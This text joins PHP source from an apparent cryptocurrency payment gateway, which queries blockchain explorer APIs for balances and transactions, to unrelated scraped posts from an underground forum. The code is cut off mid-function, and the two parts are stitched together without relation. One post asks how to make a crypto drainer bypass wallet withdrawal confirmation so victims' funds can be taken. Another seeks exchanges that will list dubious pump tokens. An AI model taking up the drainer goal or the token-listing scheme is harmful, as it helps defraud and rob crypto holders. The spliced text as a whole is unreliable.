        'bch' => [['https://rest1.biggestfan.net/v2/address/', 'details/{R}', 'transactions/{R}', 'transactions/{R}', false, 'biggestfan'], 'blockdaemon'],
        'trx' => [['https://apilist.tronscan.org/api/', 'account?address={R}', 'transaction?sort=-timestamp&count=true&limit=99&start=0&address={R}', 'transaction-info?hash={R}', false, 'tronscan'], 'tatum']
    ];
    $services_testnet = [
        'btc' => [['https://mempool.space/testnet/api/', 'address/{R}', 'address/{R}/txs', 'tx/{R}', 'blocks/tip/height', 'mempool']],
        'eth' => [['https://api-goerli.etherscan.io/api?', 'module=account&action=balance&address={R}', 'module=account&action=txlist&address={R}&startblock=0&endblock=99999999&offset=99&sort=asc', 'module=account&action=txlist&address={R}&startblock=0&endblock=99999999&offset=99&sort=asc', false, 'etherscan']],
    ];
    if (bxc_settings_get('testnet-' . bxc_crypto_get_network($cryptocurrency_code)) && isset($services_testnet[$cryptocurrency_code])) $services = $services_testnet;
    $address = $address ? $address : bxc_settings_get_address($cryptocurrency_code);
    $address_lowercase = strtolower($address);
    $cryptocurrency_code_base = bxc_crypto_get_base_code($cryptocurrency_code);
    $return_explorer = $action == 'transaction-explorer';
    if ($return_explorer) $action = 'transaction';

    // Tokens
    $custom_token_code = ['eth' => false, 'trx' => false, 'bsc' => false];
    $custom_token = bxc_isset(bxc_get_custom_tokens(), $cryptocurrency_code);
    $is_token = (in_array($cryptocurrency_code, bxc_get_cryptocurrency_codes('eth')) && $cryptocurrency_code != 'eth') || ($custom_token && $custom_token['type'] == 'erc-20') ? 'eth' : (in_array($cryptocurrency_code, ['usdt_tron']) ? 'trx' : (in_array($cryptocurrency_code, ['busd', 'usdt_bsc']) || $custom_token && $custom_token['type'] == 'bep-20' ? 'bsc' : false));
    if ($is_token) {
        switch ($is_token) {
            case 'eth':
                require_once(__DIR__ . '/web3.php');
                $services = [['https://api.etherscan.io/api?', 'module=account&action=tokenbalance&contractaddress={A}&address={R}&tag=latest', 'module=account&action=tokentx&address={R}&startblock=0&endblock=99999999&offset=99&sort=asc', 'module=account&action=tokentx&address={R}&startblock=0&endblock=99999999&offset=99&sort=asc', false, 'etherscan', 'module=account&action=tokentx&address={R}&startblock=0&endblock=99999999&offset=99&sort=asc'], ['https://api.ethplorer.io/', 'getAddressInfo/{R}', 'getAddressHistory/{R}?limit=99&showZeroValues=false', 'getTxInfo/{R}', false, 'ethplorer', 'getAddressHistory/{R}?limit=99&showZeroValues=false'], ['https://blockscout.com/eth/mainnet/api?', 'module=account&action=tokenbalance&contractaddress={A}&address={R}', 'module=account&action=tokentx&address={R}&offset=99', 'module=account&action=tokentx&address={R}&offset=99', false, 'blockscout', 'module=account&action=tokenlist&address={R}']];
                $contract_address = bxc_eth_get_contract($cryptocurrency_code_base);
                $contract_address = $contract_address ? $contract_address[0] : false;
                break;
            case 'trx':
                $services = $services['trx'];
                $services[0][2] = 'contract/events?address={R}&start=0&limit=30';
                $contract_address = bxc_tron_get_contract_address($cryptocurrency_code_base);
                break;
            case 'bsc':
                $services = [['https://api.bscscan.com/api?', 'module=account&action=tokenbalance&contractaddress={A}&address={R}&tag=latest', 'module=account&action=tokentx&contractaddress={A}&address={R}&startblock=0&endblock=99999999&offset=99&sort=asc', 'module=account&action=tokentx&contractaddress={A}&address={R}&startblock=0&endblock=99999999&offset=99&sort=asc', false, 'bscscan', 'module=account&action=tokentx&address={R}&startblock=0&endblock=99999999&offset=99&sort=asc']];
                $contract_address = bxc_binance_get_contract_address($cryptocurrency_code_base);
                break;
        }
        $custom_token_code[$is_token] = $cryptocurrency_code;
    } else {
        $services = bxc_isset($services, $cryptocurrency_code);
    }
    if ($custom_token) {
        $contract_address = bxc_isset($custom_token, 'contract_address', $contract_address);
    }

    $slugs = false;
    $transactions = [];
    $single_transaction = $action == 'transaction';
    $divider = 1;

    // Custom Blockchain explorer
    $custom_explorer = bxc_settings_get('custom-explorer-active') ? bxc_settings_get('custom-explorer-' . $action . '-url') : false;
    if ($custom_explorer) {
        $path = bxc_settings_get('custom-explorer-' . $action . '-path');
        $data = bxc_curl(str_replace(['{R}', '{N}', '{N2}'], [$single_transaction ? $extra : $address, $cryptocurrency_code, bxc_crypto_name($cryptocurrency_code)], $custom_explorer));
        $data = bxc_get_array_value_by_path($action == 'transactions' ? trim(explode(',', $path)[0]) : $path, json_decode($data, true));
        if ($data) {
            $custom_explorer_divider = 1;
            if (bxc_settings_get('custom-explorer-divider')) {
                $custom_explorer_divider = $cryptocurrency_code == 'eth' ? 1000000000000000000 : 100000000;
            }
            switch ($action) {
                case 'balance':
                    if (is_numeric($data)) {
                        return floatval($data) / $custom_explorer_divider;
                    }
                    break;
                case 'transaction':
                    if (is_array($data) && $data[0]) {
                        return ['time' => $data[0], 'address' => $data[1], 'value' => floatval($data[2]) / $custom_explorer_divider, 'confirmations' => $data[3], 'hash' => $data[4]];
                    }
                    break;
                case 'transactions':
                    if (is_array($data)) {
                        for ($i = 0; $i < count($data); $i++) {
                            $transaction = bxc_get_array_value_by_path($path, $data[$i]);
                            array_push($transactions, ['time' => $transaction[1], 'address' => $transaction[2], 'value' => floatval($transaction[3]) / $custom_explorer_divider, 'confirmations' => $transaction[4], 'hash' => $transaction[5]]);
                        }
                        return $transactions;
                    }
                    break;
            }
        }
    }

    // Multi Network Explorers
    $data_original = false;
    if (empty($services)) return;
    for ($i = 0; $i < count($services); $i++) {
        if (!$return_explorer) {
            if ($services[$i] === 'tatum') {
                $base_url = 'https://api.tatum.io/v3/' . bxc_crypto_get_network($cryptocurrency_code, 'full_name') . '/';
                $header = ['x-api-key: ' . (BXC_CLOUD ? TATUM_API_KEY : bxc_crypto_api_key('tatum'))];
                switch ($action) {
                    case 'balance':
                        if ($cryptocurrency_code == 'usdt_tron') {
                            $json = bxc_curl($base_url . 'account/' . $address);
                            $data = json_decode($json, true);
                            if ($is_token) {
                                $trc_20 = bxc_isset($data, 'trc20');
                                if ($trc_20 && count($trc_20) && isset($trc_20[0][$contract_address])) return bxc_decimal_number($trc_20[0][$contract_address] / (10 ** bxc_crypto_get_decimals($cryptocurrency_code)));
                            } else if (isset($data['balance'])) {
                                return bxc_decimal_number($data['balance'] / (10 ** bxc_crypto_get_decimals($cryptocurrency_code)));
                            }
                        } else {
                            $json = bxc_curl($base_url . 'address/balance/' . $address);
                            $data = json_decode($json, true);
                            if (isset($data['incoming'])) {
                                return bxc_decimal_number($data['incoming'] - $data['outgoing']);
                            }
                        }
                        bxc_error($json, 'tatum');
                        continue 2;
                    case 'transactions':
                        if ($cryptocurrency_code == 'usdt_tron') {
                            $json = bxc_curl($base_url . 'transaction/account/' . $address . ($is_token ? '/trc20' : ''), '', $header);
                            $data = json_decode($json, true);
                            if (isset($data['transactions'])) {
                                $slugs = [false, 'from', 'value', false, 'txID', false];
                                $transactions = $data['transactions'];
                                $transactions_data = [];
                                for ($j = 0; $j < count($transactions); $j++) {
                                    $token_info = $transactions[$i]['tokenInfo'];
                                    if (strtolower($token_info['symbol']) == $cryptocurrency_code_base) {
                                        $divider = 10 ** $token_info['decimals'];
                                        array_push($transactions_data, $transactions[$j]);
                                    }
                                }
                                $data = $transactions_data;
                            } else {
                                bxc_error($json, 'tatum');
                                continue 2;
                            }
                        } else {
                            $json = bxc_curl($base_url . 'transaction/address/' . $address . '?pageSize=30', '', $header);
                            $data = json_decode($json, true);
                            if (is_array($data) && count($data) && isset($data[0]['inputs'])) {
                                $slugs = ['ts', 'from', 'value', false, 'hash', 'blockNumber'];
                                for ($j = 0; $j < count($data); $j++) {
                                    $data[$j]['address'] = $data[$j]['inputs'][0]['coin']['address'];
                                    $data[$j]['value'] = 0;
                                    $outputs = $data[$j]['outputs'];
                                    $total = 0;
                                    for ($y = 0; $y < count($outputs); $y++) {
                                        $value = $outputs[$y]['value'];
                                        $total += $value;
                                        if (strtolower($outputs[$y]['address']) == $address_lowercase) {
                                            $data[$j]['value'] = $value;
                                            break;
                                        }
                                    }
                                    if (!$data[$j]['value']) $data[$j]['value'] = $total + $data[$j]['fee'];
                                }
                            } else if (isset($data['errorCode'])) {
                                bxc_error($json, 'tatum');
                                continue 2;
                            }
                        }
                        break;
                    case 'transaction':
                        $json = bxc_curl($base_url . 'transaction/' . $extra, '', $header);
                        $data = json_decode($json, true);
                        if ($cryptocurrency_code == 'usdt_tron') {
                            if (isset($data['txID'])) {
                                $slugs = ['time', 'from', 'value', 'confirmations', 'txID', 'blockNumber'];
                                $raw = $data['rawData'];
                                $data['time'] = $raw['timestamp'];
                                $data['from'] = $raw['contract'][0]['parameter']['value']['ownerAddressBase58'];
                                $data['confirmations'] = bxc_isset(json_decode(bxc_curl($base_url . 'info', '', $header), true), 'blockNumber', $data['blockNumber']) - $data['blockNumber'];
                                $data['value'] = bxc_decimal_number(hexdec($data['log'][0]['data']) / (10 ** bxc_crypto_get_decimals($cryptocurrency_code)));
                                $data = [$data];
                            } else {
                                bxc_error($json, 'tatum');
                                continue 2;
                            }
                        } else {
                            if (isset($data['hash'])) {
                                $slugs = ['time', 'from', 'value', 'confirmations', 'hash', 'blockNumber'];
                                $inputs = bxc_isset($data, 'inputs', []);
                                $outputs = bxc_isset($data, 'outputs', []);
                                $data['address'] = count($inputs) ? $inputs[0]['coin']['address'] : '';
                                $data['value'] = 0;
                                $total = 0;
                                $data['confirmations'] = 0;
                                for ($y = 0; $y < count($outputs); $y++) {
                                    $value = $outputs[$y]['value'];
                                    $total += $value;
                                    if (strtolower($outputs[$y]['address']) == $address_lowercase) {
                                        $data['value'] = $value;
                                        break;
                                    }
                                }
                                if (!$data['value']) $data['value'] = $total + $data['fee'];
                                if (!empty($data['blockNumber'])) {
                                    $blocks_count = json_decode(bxc_curl($base_url . 'info', '', $header), true);
                                    $data['confirmations'] = isset($blocks_count['blocks']) ? $blocks_count['blocks'] - $data['blockNumber'] + 1 : 0;
                                }
                                $data = [$data];
                            } else {
                                bxc_error($json, 'tatum');
                                continue 2;
                            }
                        }
                        break;
                }
            } else if ($services[$i] === 'blockdaemon') {
                $base_url = 'https://svc.blockdaemon.com/universal/v1/' . bxc_crypto_name($cryptocurrency_code) . '/mainnet/';
                $header = ['Content-Type: application/json', 'Authorization: Bearer ' . (BXC_CLOUD ? BLOCKDAEMON_API_KEY : bxc_crypto_api_key('blockdaemon'))];
                switch ($action) {
                    case 'balance':
                        $json = bxc_curl($base_url . 'account/' . $address, '', $header);
                        $data = json_decode($json, true);
                        if (is_array($data) && isset($data[0]['confirmed_balance'])) {
                            return bxc_decimal_number($data[0]['confirmed_balance'] / (10 ** $data[0]['currency']['decimals']));
                        }
                        bxc_error($json, 'blockdaemon');
                        continue 2;
                    case 'transactions':
                    case 'transaction':
                        $json = bxc_curl($base_url . ($single_transaction ? 'tx/' . $extra : 'account/' . $address . '/txs'), '', $header);
                        $data = json_decode($json, true);
                        if ($data) {
                            if ($single_transaction) {
                                if (isset($data['events'])) $data = [$data];
                            } else if (isset($data['data'])) $data = $data['data'];
                        }
                        if (is_array($data)) {
                            if (count($data) && isset($data[0]['events'])) {
                                $slugs = ['date', 'address', 'value', 'confirmations', 'id', 'block_number'];
                                for ($j = 0; $j < count($data); $j++) {
                                    $events = $data[$j]['events'];
                                    $transaction_value = 0;
                                    $sender_address = '';
                                    for ($y = 0; $y < count($events); $y++) {
                                        switch ($cryptocurrency_code) {
                                            case 'btc':
                                                if (!empty($events[$y]['meta']) && !empty($events[$y]['meta']['addresses'])) {
                                                    $event_address = $events[$y]['meta']['addresses'][0];
                                                    $amount = $events[$y]['amount'];
                                                    if ($events[$y]['type'] == 'utxo_output' && strtolower($event_address) == $address_lowercase) {
                                                        $transaction_value += $amount;
                                                        if (isset($events[$y]['decimals'])) $divider = 10 ** $events[$y]['decimals'];
                                                    } else if ($events[$y]['type'] == 'utxo_input') {
                                                        $sender_address = $event_address;
                                                    }
                                                }
                                                break;
                                            case 'xrp':
                                            case 'bch':
                                            case 'algo':
                                            case 'ltc':
                                            case 'doge':
                                            case 'eth':
                                                $get_address = false;
                                                if (strtolower(bxc_isset($events[$y], 'destination')) == $address_lowercase) {
                                                    $transaction_value += $events[$y]['amount'];
                                                    $get_address = true;
                                                    if (isset($events[$y]['decimals'])) $divider = 10 ** $events[$y]['decimals'];
                                                } else if (bxc_isset($events[$y], 'type') == 'utxo_input') {
                                                    $get_address = true;
                                                }
                                                if ($get_address && !empty($events[$y]['source'])) $sender_address = $events[$y]['source'];
                                                break;
                                        }
                                    }
                                    $data[$j]['value'] = $transaction_value;
                                    $data[$j]['address'] = $sender_address;
                                }
                            }
                        } else {
                            bxc_error($json, 'blockdaemon');
                            continue 2;
                        }
                        break;
                }
            } else if ($services[$i] === 'blockcypher') {
                $base_url = 'https://api.blockcypher.com/v1/' . $cryptocurrency_code . '/main/';
                switch ($action) {
                    case 'balance':
                        $json = bxc_curl($base_url . 'addrs/' . $address);
                        $data = json_decode($json, true);
                        if ($data && isset($data['balance'])) {
                            return bxc_decimal_number($data['balance'] / (10 ** bxc_crypto_get_decimals($cryptocurrency_code)));
                        }
                        bxc_error($json, 'blockcypher');
                        continue 2;
                    case 'transactions':
                    case 'transaction':
                        $json = bxc_curl($base_url . ($single_transaction ? 'txs/' . $extra : 'addrs/' . $address . '/full'));
                        $data = json_decode($json, true);
                        if ($data) {
                            if ($single_transaction) {
                                if (isset($data['hash'])) $data = [$data];
                            } else if (isset($data['txs'])) $data = $data['txs'];
                        }
                        if ($data && is_array($data)) {
                            if (count($data)) {
                                $slugs = ['time', 'address', 'value', 'confirmations', 'hash', 'block_height'];
                                $divider = 10 ** bxc_crypto_get_decimals($cryptocurrency_code_base);
                                for ($j = 0; $j < count($data); $j++) {
                                    $outputs = bxc_isset($data[$j], 'outputs', []);
                                    $data[$j]['time'] = strtotime($data[$j]['received']);
                                    $data[$j]['address'] = $data[$j]['inputs'][0]['addresses'][0];
                                    $data[$j]['value'] = 0;
                                    for ($y = 0; $y < count($outputs); $y++) {
                                        if (strtolower($outputs[$y]['addresses'][0]) == $address_lowercase) {
                                            $data[$j]['value'] = $outputs[$y]['value'];
                                            break;
                                        }
                                    }
                                }
                            }
                        } else {
                            bxc_error($json, 'blockcypher');
                            continue 2;
                        }
                        break;
                }
            }
        }

        // Other explorers
        if (!in_array($services[$i], ['tatum', 'blockdaemon', 'blockcypher'])) {
            $url_part = $services[$i][$action == 'balance' ? 1 : ($action == 'transactions' ? 2 : ($single_transaction ? 3 : 4))];
            if ($url_part === false) continue;
            $url = $services[$i][0] . str_replace('{R}', $single_transaction && !in_array($services[$i][5], ['etherscan', 'bscscan', 'biggestfan']) ? $extra : $address, $url_part);
            if ($is_token) $url = str_replace('{A}', $contract_address, $url);
            $data = $data_original = bxc_curl(bxc_crypto_api_key($services[$i][5], $url));
            switch ($cryptocurrency_code) {
                case 'btc':
                    switch ($action) {
                        case 'balance':
                            $data = json_decode($data, true);
                            switch ($i) {
                                case 0:
                                case 1:
                                    if (isset($data['chain_stats'])) {
                                        return ($data['chain_stats']['funded_txo_sum'] - $data['chain_stats']['spent_txo_sum']) / 100000000;
                                    }
                                    break;
                                case 2:
                                    if (is_numeric($data)) {
                                        return intval($data) / 100000000;
                                    }
                                    break;
                            }
                            break;
                        case 'transaction':
                        case 'transactions':
                            $data = json_decode($data, true);
                            $input_slug = false;
                            $output_slug = false;
                            $confirmations = false;
                            $continue = false;

                            // Get transaction and verify the API is working
                            switch ($i) {
                                case 0:
                                case 1:
                                    if (is_array($data) && empty($data['error'])) {
                                        $output_slug = 'vout';
                                        $input_slug = 'vin';
                                        $continue = true;
                                    }
                                    break;
                                case 2:
                                    if (($single_transaction && isset($data['inputs'])) || isset($data['txs'])) {
                                        if (!$single_transaction) $data = $data['txs'];
                                        $input_slug = 'inputs';
                                        $output_slug = 'out';
                                        $continue = true;
                                    }
                                    break;
                            }
                            if ($continue) {
                                $slugs = ['time', 'address', 'value', 'confirmations', 'hash', 'block_height'];
                                $sender_address = '';
                                $time = 0;
                                $block_height = 0;
                                $hash = '';
                                $divider = $i === 1 ? 1 : 100000000;
                                if ($single_transaction) $data = [$data];

                                // Get transactions details
                                for ($j = 0; $j < count($data); $j++) {
                                    $transaction_value = 0;
                                    switch ($i) {
                                        case 0:
                                        case 1:
                                            if (bxc_isset($data[$j]['status'], 'confirmed')) {
                                                $time = $data[$j]['status']['block_time'];
                                                $block_height = $data[$j]['status']['block_height'];
                                            }
                                            $hash = $data[$j]['txid'];
                                            break;
                                        case 2:
                                            $time = $data[$j]['time'];
                                            $block_height = $data[$j]['block_height'];
                                            $hash = $data[$j]['hash'];
                                            break;
                                    }

                                    // Get transaction amount
                                    $outputs = $output_slug ? $data[$j][$output_slug] : [];
                                    for ($y = 0; $y < count($outputs); $y++) {
                                        switch ($i) {
                                            case 0:
                                            case 1:
                                                $value = $outputs[$y]['value'];
                                                $output_address = $outputs[$y]['scriptpubkey_address'];
                                                break;
                                            case 2:
                                                $value = $outputs[$y]['value'];
                                                $output_address = $outputs[$y]['addr'];
                                                break;
                                        }
                                        if (strtolower($output_address) == $address_lowercase) {
                                            $transaction_value += $value;
                                        }
                                        $outputs[$y] = ['value' => $value, 'address' => $output_address];
                                    }

                                    // Get sender address
                                    $input = bxc_isset($data[$j], $input_slug);
                                    if ($input && count($input)) {
                                        $input = $input[0];
                                        switch ($i) {
                                            case 0:
                                            case 1:
                                                $sender_address = $input['prevout']['scriptpubkey_address'];
                                                break;
                                            case 2:
                                                $sender_address = $input['prev_out']['addr'];
                                                break;
                                        }
                                    }

                                    // Assign transaction values
                                    $data[$j]['time'] = $time;
                                    $data[$j]['address'] = $sender_address;
                                    $data[$j]['confirmations'] = $confirmations;
                                    $data[$j]['value'] = $transaction_value;
                                    $data[$j]['hash'] = $hash;
                                    $data[$j]['block_height'] = $block_height;
                                }
                            }
                            break;
                        case 'blocks_count':
                            if (is_numeric($data)) {
                                return intval($data);
                            }
                    }
                    break;
                case $custom_token_code['eth']:
                case 'link':
                case 'shib':
                case 'bat':
                case 'usdt':
                case 'usdc':
                case 'eth':
                    $data = json_decode($data, true);
                    switch ($action) {
                        case 'balance':
                            switch ($i) {
                                case 2:
                                case 0:
                                    $data = bxc_isset($data, 'result');
                                    if (is_numeric($data)) {
                                        require_once(__DIR__ . '/web3.php');
                                        return floatval($data) / ($is_token ? 10 ** ($custom_token ? $custom_token['decimals'] : bxc_eth_get_contract($cryptocurrency_code)[1]) : 1000000000000000000);
                                    }
                                    break;
                                case 1:
                                    if ($is_token) {
                                        $data = bxc_isset($data, 'tokens', []);
                                        for ($j = 0; $j < count($data); $j++) {
                                            if (strtolower(bxc_isset(bxc_isset($data, 'tokenInfo'), 'symbol')) == $cryptocurrency_code) {
                                                return floatval($data['balance']) / (10 ** intval($data['tokenInfo']['decimals']));
                                            }
                                        }
                                    } else {
                                        $data = bxc_isset(bxc_isset($data, 'ETH'), 'balance');
                                        if (is_numeric($data)) {
                                            return floatval($data);
                                        }
                                    }
                                    break;
                            }
                            break;
                        case 'transaction':
                        case 'transactions':
                            switch ($i) {
                                case 2:
                                case 0:
                                    $data = bxc_isset($data, 'result');
                                    if (is_array($data)) {
                                        $count = count($data);
                                        $slugs = ['timeStamp', 'from', 'value', 'confirmations', 'hash', 'blockNumber'];
                                        $divider = $is_token ? 1000000 : 1000000000000000000;
                                        if ($single_transaction) {
                                            if ($i === 0) {
                                                $data_single = [];
                                                for ($j = 0; $j < $count; $j++) {
                                                    if ($data[$j]['hash'] == $extra) {
                                                        $data_single = [$data[$j]];
                                                        break;
                                                    }
                                                }
                                                $data = $data_single;
                                            } else {
                                                $data = [$data];
                                            }
                                        } else if ($is_token) {
                                            $data_temp = [];
                                            for ($j = 0; $j < $count; $j++) {
                                                if (strtolower($data[$j]['tokenSymbol']) == $cryptocurrency_code) {
                                                    array_push($data_temp, $data[$j]);
                                                }
                                            }
                                            $data = $data_temp;
                                        }
                                        if ($count && isset($data[0]['tokenDecimal'])) $divider = 10 ** intval($data[0]['tokenDecimal']);
                                    }
                                    break;
                                case 1:
                                    if ($single_transaction || is_array($data) || $is_token) {
                                        $slugs = ['timestamp', 'from', 'value', 'confirmations', 'hash', 'blockNumber'];
                                        if ($single_transaction) $data = [$data];
                                    }
                                    if ($is_token) {
                                        if ($single_transaction) {
                                            if (count($data)) {
                                                $transaction_value = 0;
                                                if (isset($data[0]['operations'])) {
                                                    $operations = $data[0]['operations'];
                                                    $address = strtolower($address);
                                                    for ($j = 0; $j < count($operations); $j++) {
                                                        if ($operations[$j]['type'] == 'transfer' && strtolower($operations[$j]['to']) == $address_lowercase) {
                                                            $transaction_value += $operations[$j]['value'];
                                                        }
                                                    }
                                                    $divider = 10 ** intval($operations[0]['tokenInfo']['decimals']);
                                                    $data[0]['value'] = $transaction_value;
                                                }
                                            }
                                        } else {
                                            $data = bxc_isset($data, 'operations', []);
                                            $data_temp = [];
                                            for ($j = 0; $j < count($data); $j++) {
                                                if (strtolower($data[$j]['tokenInfo']['symbol']) == $cryptocurrency_code) {
                                                    array_push($data_temp, $data[$j]);
                                                    $divider = 10 ** intval($data[$j]['tokenInfo']['decimals']);
                                                }
                                            }
                                            $slugs[4] = 'transactionHash';
                                            $data = $data_temp;
                                        }
                                    }
                                    break;
                            }
                            if ($slugs && (!$data || (count($data) && (!isset($data[0]) || !bxc_isset($data[0], $slugs[0]))))) $slugs = false;
                            break;
                        case 'blocks_count':
                            switch ($i) {
                                case 1:
                                    if (is_numeric($data['lastBlock'])) {
                                        return intval($data['lastBlock']);
                                    }
                                    break;
                            }
                    }
                    break;
                case 'doge':
                    $data = json_decode($data, true);
                    switch ($action) {
                        case 'balance':
                            switch ($i) {
                                case 0:
                                    $data = bxc_isset($data, 'data');
                                    if ($data && isset($data['confirmed_balance'])) {
                                        return $data['confirmed_balance'];
                                    }
                                    break;
                            }
                            break;
                        case 'transaction':
                        case 'transactions':
                            switch ($i) {
                                case 0:
                                    $data = bxc_isset($data, 'data');
                                    if ($data) {
                                        if (!$single_transaction) $data = bxc_isset($data, 'txs');
                                        $slugs = ['time', 'address', 'value', 'confirmations', 'txid', false];
                                    } else if (is_array($data)) return [];
                                    break;
                            }
                            if ($slugs) {
                                if (is_array($data)) {
                                    if ($single_transaction && ($i === 0 || $i === 1)) {
                                        $data['address'] = $data['inputs'][0]['address'];
                                        $outputs = $data['outputs'];
                                        for ($j = 0; $j < count($outputs); $j++) {
                                            if (strtolower($outputs[$j]['address']) == $address_lowercase) {
                                                $data['value'] = $outputs[$j]['value'];
                                                break;
                                            }
                                        }
                                        $data = [$data];
                                    }
                                }
                                if (!$data || (count($data) && (!isset($data[0]) || (!bxc_isset($data[0], $slugs[0]) && !bxc_isset($data[0], $slugs[1]))))) $slugs = false;
                            }
                            break;
                        case 'blocks_count':
                            switch ($i) {
                                case 0:
                                    if (is_numeric($data['lastBlock'])) {
                                        return intval($data['lastBlock']);
                                    }
                                    break;
                            }
                    }
                    break;
                case 'algo':
                    $data = json_decode($data, true);
                    switch ($action) {
                        case 'balance':
                            switch ($i) {
                                case 0:
                                    $data = bxc_isset(bxc_isset($data, 'account'), 'amount');
                                    if (is_numeric($data)) {
                                        return floatval($data) / 1000000;
                                    }
                                    break;
                            }
                            break;
                        case 'transaction':
                        case 'transactions':
                            switch ($i) {
                                case 0:
                                    $current_round = bxc_isset($data, 'current-round');
                                    $data = bxc_isset($data, $single_transaction ? 'transaction' : 'transactions');
                                    if ($data) {
                                        $slugs = ['round-time', 'sender', 'amount', 'confirmations', 'id', 'confirmed-round'];
                                        $divider = 1000000;
                                        if ($single_transaction) {
                                            $data['amount'] = bxc_isset(bxc_isset($data, 'payment-transaction'), 'amount', -1);
                                            $data['confirmations'] = $current_round - bxc_isset($data, 'confirmed-round');
                                            $data = [$data];
                                        } else {
                                            for ($j = 0; $j < count($data); $j++) {
                                                $data[$j]['amount'] = bxc_isset(bxc_isset($data[$j], 'payment-transaction'), 'amount', -1);
                                                $data[$j]['confirmations'] = $current_round - bxc_isset($data[$j], 'confirmed-round');
                                            }
                                        }
                                    } else if (is_array($data)) return [];
                                    break;
                            }
                            break;
                        case 'blocks_count':
                            switch ($i) {
                                case 1:
                                    if (is_numeric($data['current-round'])) {
                                        return intval($data['current-round']);
                                    }
                                    break;
                            }
                    }
                    break;
                case $custom_token_code['bsc']:
                case 'usdt_bsc':
                case 'busd':
                case 'bnb':
                    $data = json_decode($data, true);
                    switch ($action) {
                        case 'balance':
                            switch ($i) {
                                case 0:
                                    $data = bxc_isset($data, 'result');
                                    if (is_numeric($data)) {
                                        return floatval($data) / 1000000000000000000;
                                    }
                                    break;
                            }
                            break;
                        case 'transaction':
                        case 'transactions':
                            switch ($i) {
                                case 0:
                                    $data = bxc_isset($data, 'result');
                                    if (is_array($data)) {
                                        $slugs = ['timeStamp', 'from', 'value', 'confirmations', 'hash', 'blockNumber'];
                                        $divider = 1000000000000000000;
                                        if ($single_transaction) {
                                            if ($i === 0) {
                                                $data_single = [];
                                                for ($j = 0; $j < count($data); $j++) {
                                                    if ($data[$j]['hash'] == $extra) {
                                                        $data_single = [$data[$j]];
                                                        break;
                                                    }
                                                }
                                                $data = $data_single;
                                            } else {
                                                $data = [$data];
                                            }
                                        }
                                    }
                                    break;
                            }
                            break;
                    }
                    break;
                case 'ltc':
                    $data = json_decode($data, true);
                    switch ($action) {
                        case 'balance':
                            switch ($i) {
                                case 0:
                                    $data = bxc_isset($data, 'data');
                                    if ($data && isset($data['confirmed_balance'])) {
                                        return $data['confirmed_balance'];
                                    }
                                    break;
                            }
                            break;
                        case 'transaction':
                        case 'transactions':
                            switch ($i) {
                                case 0:
                                    $data = bxc_isset($data, 'data');
                                    if ($data) {
                                        if (!$single_transaction) $data = bxc_isset($data, 'txs');
                                        $slugs = ['time', 'address', 'value', 'confirmations', 'txid', false];
                                    } else if (is_array($data)) return [];
                                    break;
                            }
                            if ($slugs) {
                                if (is_array($data)) {
                                    if ($single_transaction && ($i === 0 || $i === 1)) {
                                        $data['address'] = $data['inputs'][0]['address'];
                                        $outputs = $data['outputs'];
                                        for ($j = 0; $j < count($outputs); $j++) {
                                            if (strtolower($outputs[$j]['address']) == $address_lowercase) {
                                                $data['value'] = $outputs[$j]['value'];
                                                break;
                                            }
                                        }
                                        $data = [$data];
                                    }
                                }
                                if (!$data || (count($data) && (!isset($data[0]) || (!bxc_isset($data[0], $slugs[0]) && !bxc_isset($data[0], $slugs[1]))))) $slugs = false;
                            }
                            break;
                    }
                    break;
                case 'bch':
                    $data = json_decode($data, true);
                    switch ($action) {
                        case 'balance':
                            switch ($i) {
                                case 0:
                                    $data = bxc_isset($data, 'balance');
                                    if ($data) return $data;
                                    break;
                            }
                            break;
                        case 'transaction':
                        case 'transactions':
                            switch ($i) {
                                case 0:
                                    $data = bxc_isset($data, 'txs');
                                    if ($data) {
                                        $slugs = ['time', 'address', 'value', 'confirmations', 'txid', false];
                                    } else if (is_array($data)) return [];
                                    break;
                            }
                            if ($slugs) {
                                if (is_array($data)) {
                                    for ($j = 0; $j < count($data); $j++) {
                                        $data_transaction = $data[$j][0];
                                        $data_transaction['address'] = str_replace('bitcoincash:', '', $data_transaction['vin'][0]['cashAddress']);
                                        $outputs = $data_transaction['vout'];
                                        $address_prefix = 'bitcoincash:' . $address;
                                        for ($y = 0; $y < count($outputs); $y++) {
                                            if (strtolower($outputs[$y]['scriptPubKey']['addresses'][0]) == $address_prefix) {
                                                $data_transaction['value'] = $outputs[$y]['value'];
                                                break;
                                            }
                                        }
Web Wallet Confirmation Bypass
ID: 67686ad7b4103b69df3796b9
Thread ID: 123967
Created: 2024-10-02T13:09:00+0000
Last Post: 2024-10-02T13:09:00+0000
Author: Zero Compile
Replies: 0 Views: 373

Hello XSS!

I am building a crypto drainer, but I have an issue which is that once the victim signs the drainer transaction in the wallet, they get a pop up asking for confirmation for crypto withdrawal. I want to know if there is a way to bypass the confirmation of withdrawal. I know other drainers don't have this issue. Please if anyone knows any method to bypass or any documentation of methods to use please inform me

Листинг токена на бирже
ID: 67686ad7b4103b69df37977d
Thread ID: 70514
Created: 2022-07-22T18:05:39+0000
Last Post: 2024-02-28T18:40:53+0000
Author: Реформатор
Replies: 4 Views: 372

Приветствую всех друзья. Парни подскажите пожалуйста, искал инфу и на днях в сети наткнулся на различные говнотокены, рост от 100%/24ч с суточным оборотом 300к-1кк $, начал смотреть дальше монеткам от роду 3-7 дней, вся документация собрана на коленке, соц сети только зарегали, далее увидел что они в листинге у непонятных бирж. Биржи централизованные, говнотокены торгуются в парах со стейблами.
Кто листил монетки именно в централизованных биржах, чтобы ставили в торговлю с парой? Какие условия, подводные камни? Прайс?
Подскажите каким биржам все равно на репутацию и добавляют эти говнотокены в листинг?
Так же если что-то не учел в этом вопросе, подскажите, поделитесь инфой.

usdt курс
ID: 67686ad7b4103b69df37972c
Thread ID: 115262
Created: 2024-05-24T10:28:04+0000
Last Post: 2024-05-24T10:39:07+0000
Author: yarek
Replies: 1 Views: 371

где покупаете или посоветуете покупать/продавать usdt по вменяемому курсу, небольшие обьемы

биржи просто запредельные ценны

Как привязать биткоин адрес к бирже/обменнику...
ID: 67686ad7b4103b69df379810
Thread ID: 94825
Created: 2023-08-04T23:39:27+0000
Last Post: 2023-08-06T20:13:22+0000
Author: larryalcina
Replies: 15 Views: 371

Всем привет
Возможно глупый вопрос, но перечитав клирнетовкских статей так и ре понял
Вот есть например адрес биткоин кошелька :
1N4qbzg...
И достоверно известно, что на него пришли преступные деньги
Понятно, что зайдя на сайт блокчейна мы увидим все что на него приходило и уходило
Но как установить конкретную личность?
Можно ли как-то определить к какой бирже/обменнику/кошельку.. В общем любому юр.лицу что ему принадлежит этот биткоин адрес? Как?

Крипторулетка
ID: 67686ad7b4103b69df37997e
